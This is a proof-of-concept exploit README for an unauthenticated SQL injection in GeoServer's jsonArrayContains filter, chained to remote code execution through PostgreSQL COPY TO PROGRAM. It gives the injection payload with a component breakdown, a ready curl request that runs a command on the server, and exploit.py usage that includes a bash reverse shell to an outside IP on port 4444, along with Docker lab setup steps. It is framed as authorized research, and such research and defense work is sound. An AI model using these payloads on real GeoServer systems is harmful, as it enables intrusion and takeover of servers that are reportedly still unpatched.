
POC | GeoServer Unauthenticated SQL injection to complete RCE
CVE: CVE-2026-76904 | CVSS: 9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
This vulnerability has been assigned GHSA-mqjf-5f49-2fjh by the GeoServer/GeoTools team and is actively being exploited in the wild as of August 2026.
The vulnerability has been patched but since it's so fresh (1786870173) it's still being exploited heavily around the web.
August 21, 2026 - Recieved a CVE Identifier: CVE-2026-76904
Unauthenticated SQL injection in GeoServer's jsonArrayContains function
-> Remote Code Execution via PostgreSQL COPY TO PROGRAM.
GeoServer's (specifically in GeoTools) jsonArrayContains function, used to query JSON arrays in PostgreSQL, contains a critical SQL injection vulnerability. The third parameter (expected) is directly concatenated into the SQL query without any sanitization, escaping, or parameter binding.
Specifically this:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
The vulnerability comes from GeoTools' FilterToSqlHelper.constructEquality method.
The jsonArrayContains function's third parameter (expected) is directly written into the SQL string using String.formatted() without any escaping.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
This flaw is not a new bug, it's a regression of CVE-2023-25158 (an identical CVSS 9.8 SQL injection vulnerability)
The new vulnerability was introduced when GEOT-7589 added jsonb_path_exists support for PostgreSQL 12+.
The 2023 patch didn't protect the jsonArrayContains function, which was added/modified after that remediation.
https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d
Esentially this:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
Payload Breakdown:
Manual curl
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
The WFS 2.0 closure pattern is adapted from the research by mhtsec
Nobody wants to run curl right? here's the usage of exploit.py
File Creation PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
RCE PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
A docker-compose.yml is provided for simplicity to have a quick start with the PoC.
After initialization using
Docker compose up -d
we can setup the enviroment using the REST api available to us
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
Publish the layer
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
This repository contains an independent proof-of-concept exploit for the GeoServer ;jsonArrayContains; zero-day SQL injection to RCE vulnerability. This vulnerability was originally discovered and disclosed by 秋风 (@q1uf3ng). The exploit chain was recreated and validated in a controlled lab environment.
This project is intended solely for authorized security research, education, and testing in isolated laboratory environments.
Do not use this software against systems, networks, or data without explicit authorization from the owner. You are solely responsible for complying with all applicable laws and for any consequences resulting from your use of this project.
The author, YonLiud, provides this project “as is,” without warranties of any kind, and accepts no responsibility for damage, data loss, service disruption, unauthorized access, or other misuse caused by this software or derivative works.
By using this project, you acknowledge and accept these conditions.
| Component | Purpose |
|---|
jsonArrayContains(data,'/x','y")\'') | Calls function with crafted third param |
OR 1=1)) | Closes JSON path and function call |
AS gt_injected; | Aliases the derived table |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | PostgreSQL RCE command |
--')=true | Comments out remaining SQL |